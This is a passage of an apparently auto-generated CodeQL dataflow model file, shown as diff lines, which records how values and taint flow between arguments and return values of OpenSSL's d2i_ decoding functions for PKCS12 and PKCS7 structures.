"Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_MAC_DATA", "(PKCS12_MAC_DATA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_SAFEBAG", "(PKCS12_SAFEBAG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_bio", "(BIO *,PKCS12 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS12_fp", "(FILE *,PKCS12 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7", "(PKCS7 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_DIGEST", "(PKCS7_DIGEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENCRYPT", "(PKCS7_ENCRYPT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKCS7_ENC_CONTENT", "(PKCS7_ENC_CONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 